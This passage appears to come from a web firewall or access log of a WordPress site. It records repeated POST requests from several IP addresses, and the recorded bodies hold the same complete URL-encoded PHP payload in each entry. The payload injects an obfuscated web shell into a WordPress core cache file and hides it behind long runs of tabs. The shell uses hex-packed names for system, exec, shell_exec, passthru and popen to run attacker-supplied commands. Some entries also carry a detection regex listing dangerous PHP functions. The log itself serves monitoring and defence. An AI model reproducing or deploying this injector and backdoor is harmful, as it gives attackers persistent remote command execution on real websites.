component6.%2524component3.%2524component9.%2524component1.%2524component4%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component4.%2524component15.%252765%2527.%2524component10.%252774%2527.%25275f%2527.%252764%2527.%252769%2527.%2524component1.%2524component7.%2524component8.%252774%2527.%252763%2527.%2524component2.%2524component4.%2524component11%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524token_parser_engine1%2529%2529%257B%2524token_parser_engine1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine2%2529%2529%257Bprint%2520%2524token_parser_engine2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine3%2529%2529%257B%2524token_parser_engine3%2528%2524event_dispatcher%252C%2524data_chunk_entity%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524data_chunk_entity%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine4%2529%2529%257B%2524token_parser_engine4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine5%2529%2526%2526function_exists%2528%2524token_parser_engine6%2529%2526%2526function_exists%2528%2524token_parser_engine7%2529%2529%257B%2524tkn_key%253D%2524token_parser_engine5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524tkn_key%2529%257B%2524res_value%253D%2524token_parser_engine6%2528%2524tkn_key%2529%253B%2524token_parser_engine7%2528%2524tkn_key%2529%253Bprint%2520%2524res_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:6652\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFSxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nHY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/Base.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524component1%2520%253D%2520%252773%2527%253B%2524component2%2520%253D%2520%252768%2527%253B%2524component3%2520%253D%2520%25276c%2527%253B%2524component4%2520%253D%2520%252765%2527%253B%2524component5%2520%253D%2520%252778%2527%253B%2524component6%2520%253D%2520%252763%2527%253B%2524component7%2520%253D%2520%252770%2527%253B%2524component8%2520%253D%2520%252761%2527%253B%2524component9%2520%253D%2520%25276f%2527%253B%2524component10%2520%253D%2520%25276e%2527%253B%2524component11%2520%253D%2520%252772%2527%253B%2524component12%2520%253D%2520%25276d%2527%253B%2524component13%2520%253D%2520%25275f%2527%253B%2524component14%2520%253D%2520%252774%2527%253B%2524component15%2520%253D%2520%252776%2527%253B%2524token_parser_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%252779%2527.%2524component1.%252774%2527.%252765%2527.%25276d%2527%2529%253B%2524token_parser_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%2524component2.%252765%2527.%25276c%2527.%2524component3.%25275f%2527.%2524component4.%252778%2527.%252765%2527.%252763%2527%2529%253B%2524token_parser_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component4.%2524component5.%2524component4.%2524component6%2529%253B%2524token_parser_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component8.%2524component1.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%252775%2527%2529%253B%2524token_parser_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component9.%2524component7.%2524component4.%2524component10%2529%253B%2524token_parser_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%252774%2527.%2524component11.%2524component4.%252761%2527.%2524component12.%2524component13.%252767%2527.%2524component4.%252774%2527.%25275f%2527.%252763%2527.%2524component9.%2524component10.%252774%2527.%252765%2527.%2524component10.%2524component14.%252773%2527%2529%253B%2524token_parser_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component6.%2524component3.%2524component9.%2524component1.%2524component4%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component4.%2524component15.%252765%2527.%2524component10.%252774%2527.%25275f%2527.%252764%2527.%252769%2527.%2524component1.%2524component7.%2524component8.%252774%2527.%252763%2527.%2524component2.%2524component4.%2524component11%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524token_parser_engine1%2529%2529%257B%2524token_parser_engine1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine2%2529%2529%257Bprint%2520%2524token_parser_engine2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine3%2529%2529%257B%2524token_parser_engine3%2528%2524event_dispatcher%252C%2524data_chunk_entity%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524data_chunk_entity%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine4%2529%2529%257B%2524token_parser_engine4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine5%2529%2526%2526function_exists%2528%2524token_parser_engine6%2529%2526%2526function_exists%2528%2524token_parser_engine7%2529%2529%257B%2524tkn_key%253D%2524token_parser_engine5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524tkn_key%2529%257B%2524res_value%253D%2524token_parser_engine6%2528%2524tkn_key%2529%253B%2524token_parser_engine7%2528%2524tkn_key%2529%253Bprint%2520%2524res_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:46:33","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Zc:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/Base.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524component1%2520%253D%2520%252773%2527%253B%2524component2%2520%253D%2520%252768%2527%253B%2524component3%2520%253D%2520%25276c%2527%253B%2524component4%2520%253D%2520%252765%2527%253B%2524component5%2520%253D%2520%252778%2527%253B%2524component6%2520%253D%2520%252763%2527%253B%2524component7%2520%253D%2520%252770%2527%253B%2524component8%2520%253D%2520%252761%2527%253B%2524component9%2520%253D%2520%25276f%2527%253B%2524component10%2520%253D%2520%25276e%2527%253B%2524component11%2520%253D%2520%252772%2527%253B%2524component12%2520%253D%2520%25276d%2527%253B%2524component13%2520%253D%2520%25275f%2527%253B%2524component14%2520%253D%2520%252774%2527%253B%2524component15%2520%253D%2520%252776%2527%253B%2524token_parser_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%252779%2527.%2524component1.%252774%2527.%252765%2527.%25276d%2527%2529%253B%2524token_parser_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%2524component2.%252765%2527.%25276c%2527.%2524component3.%25275f%2527.%2524component4.%252778%2527.%252765%2527.%252763%2527%2529%253B%2524token_parser_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component4.%2524component5.%2524component4.%2524component6%2529%253B%2524token_parser_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component8.%2524component1.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%252775%2527%2529%253B%2524token_parser_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component9.%2524component7.%2524component4.%2524component10%2529%253B%2524token_parser_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%252774%2527.%2524component11.%2524component4.%252761%2527.%2524component12.%2524component13.%252767%2527.%2524component4.%252774%2527.%25275f%2527.%252763%2527.%2524component9.%2524component10.%252774%2527.%252765%2527.%2524component10.%2524component14.%252773%2527%2529%253B%2524token_parser_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component6.%2524component3.%2524component9.%2524component1.%2524component4%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component4.%2524component15.%252765%2527.%2524component10.%252774%2527.%25275f%2527.%252764%2527.%252769%2527.%2524component1.%2524component7.%2524component8.%252774%2527.%252763%2527.%2524component2.%2524component4.%2524component11%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524token_parser_engine1%2529%2529%257B%2524token_parser_engine1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine2%2529%2529%257Bprint%2520%2524token_parser_engine2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine3%2529%2529%257B%2524token_parser_engine3%2528%2524event_dispatcher%252C%2524data_chunk_entity%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524data_chunk_entity%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine4%2529%2529%257B%2524token_parser_engine4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine5%2529%2526%2526function_exists%2528%2524token_parser_engine6%2529%2526%2526function_exists%2528%2524token_parser_engine7%2529%2529%257B%2524tkn_key%253D%2524token_parser_engine5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524tkn_key%2529%257B%2524res_value%253D%2524token_parser_engine6%2528%2524tkn_key%2529%253B%2524token_parser_engine7%2528%2524tkn_key%2529%253Bprint%2520%2524res_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:6652\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJzZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nZc=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/Base.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524component1%2520%253D%2520%252773%2527%253B%2524component2%2520%253D%2520%252768%2527%253B%2524component3%2520%253D%2520%25276c%2527%253B%2524component4%2520%253D%2520%252765%2527%253B%2524component5%2520%253D%2520%252778%2527%253B%2524component6%2520%253D%2520%252763%2527%253B%2524component7%2520%253D%2520%252770%2527%253B%2524component8%2520%253D%2520%252761%2527%253B%2524component9%2520%253D%2520%25276f%2527%253B%2524component10%2520%253D%2520%25276e%2527%253B%2524component11%2520%253D%2520%252772%2527%253B%2524component12%2520%253D%2520%25276d%2527%253B%2524component13%2520%253D%2520%25275f%2527%253B%2524component14%2520%253D%2520%252774%2527%253B%2524component15%2520%253D%2520%252776%2527%253B%2524token_parser_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%252779%2527.%2524component1.%252774%2527.%252765%2527.%25276d%2527%2529%253B%2524token_parser_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%2524component2.%252765%2527.%25276c%2527.%2524component3.%25275f%2527.%2524component4.%252778%2527.%252765%2527.%252763%2527%2529%253B%2524token_parser_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component4.%2524component5.%2524component4.%2524component6%2529%253B%2524token_parser_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component8.%2524component1.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%252775%2527%2529%253B%2524token_parser_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component9.%2524component7.%2524component4.%2524component10%2529%253B%2524token_parser_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%252774%2527.%2524component11.%2524component4.%252761%2527.%2524component12.%2524component13.%252767%2527.%2524component4.%252774%2527.%25275f%2527.%252763%2527.%2524component9.%2524component10.%252774%2527.%252765%2527.%2524component10.%2524component14.%252773%2527%2529%253B%2524token_parser_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component6.%2524component3.%2524component9.%2524component1.%2524component4%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component4.%2524component15.%252765%2527.%2524component10.%252774%2527.%25275f%2527.%252764%2527.%252769%2527.%2524component1.%2524component7.%2524component8.%252774%2527.%252763%2527.%2524component2.%2524component4.%2524component11%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524token_parser_engine1%2529%2529%257B%2524token_parser_engine1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine2%2529%2529%257Bprint%2520%2524token_parser_engine2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine3%2529%2529%257B%2524token_parser_engine3%2528%2524event_dispatcher%252C%2524data_chunk_entity%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524data_chunk_entity%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine4%2529%2529%257B%2524token_parser_engine4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine5%2529%2526%2526function_exists%2528%2524token_parser_engine6%2529%2526%2526function_exists%2528%2524token_parser_engine7%2529%2529%257B%2524tkn_key%253D%2524token_parser_engine5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524tkn_key%2529%257B%2524res_value%253D%2524token_parser_engine6%2528%2524tkn_key%2529%253B%2524token_parser_engine7%2528%2524tkn_key%2529%253Bprint%2520%2524res_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:46:35","144.76.215.54","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bz:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/Base.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524component1%2520%253D%2520%252773%2527%253B%2524component2%2520%253D%2520%252768%2527%253B%2524component3%2520%253D%2520%25276c%2527%253B%2524component4%2520%253D%2520%252765%2527%253B%2524component5%2520%253D%2520%252778%2527%253B%2524component6%2520%253D%2520%252763%2527%253B%2524component7%2520%253D%2520%252770%2527%253B%2524component8%2520%253D%2520%252761%2527%253B%2524component9%2520%253D%2520%25276f%2527%253B%2524component10%2520%253D%2520%25276e%2527%253B%2524component11%2520%253D%2520%252772%2527%253B%2524component12%2520%253D%2520%25276d%2527%253B%2524component13%2520%253D%2520%25275f%2527%253B%2524component14%2520%253D%2520%252774%2527%253B%2524component15%2520%253D%2520%252776%2527%253B%2524token_parser_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%252779%2527.%2524component1.%252774%2527.%252765%2527.%25276d%2527%2529%253B%2524token_parser_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%2524component2.%252765%2527.%25276c%2527.%2524component3.%25275f%2527.%2524component4.%252778%2527.%252765%2527.%252763%2527%2529%253B%2524token_parser_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component4.%2524component5.%2524component4.%2524component6%2529%253B%2524token_parser_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component8.%2524component1.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%252775%2527%2529%253B%2524token_parser_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component9.%2524component7.%2524component4.%2524component10%2529%253B%2524token_parser_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%252774%2527.%2524component11.%2524component4.%252761%2527.%2524component12.%2524component13.%252767%2527.%2524component4.%252774%2527.%25275f%2527.%252763%2527.%2524component9.%2524component10.%252774%2527.%252765%2527.%2524component10.%2524component14.%252773%2527%2529%253B%2524token_parser_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component6.%2524component3.%2524component9.%2524component1.%2524component4%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component4.%2524component15.%252765%2527.%2524component10.%252774%2527.%25275f%2527.%252764%2527.%252769%2527.%2524component1.%2524component7.%2524component8.%252774%2527.%252763%2527.%2524component2.%2524component4.%2524component11%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524token_parser_engine1%2529%2529%257B%2524token_parser_engine1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine2%2529%2529%257Bprint%2520%2524token_parser_engine2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine3%2529%2529%257B%2524token_parser_engine3%2528%2524event_dispatcher%252C%2524data_chunk_entity%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524data_chunk_entity%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine4%2529%2529%257B%2524token_parser_engine4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine5%2529%2526%2526function_exists%2528%2524token_parser_engine6%2529%2526%2526function_exists%2528%2524token_parser_engine7%2529%2529%257B%2524tkn_key%253D%2524token_parser_engine5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524tkn_key%2529%257B%2524res_value%253D%2524token_parser_engine6%2528%2524tkn_key%2529%253B%2524token_parser_engine7%2528%2524tkn_key%2529%253Bprint%2520%2524res_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:6652\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 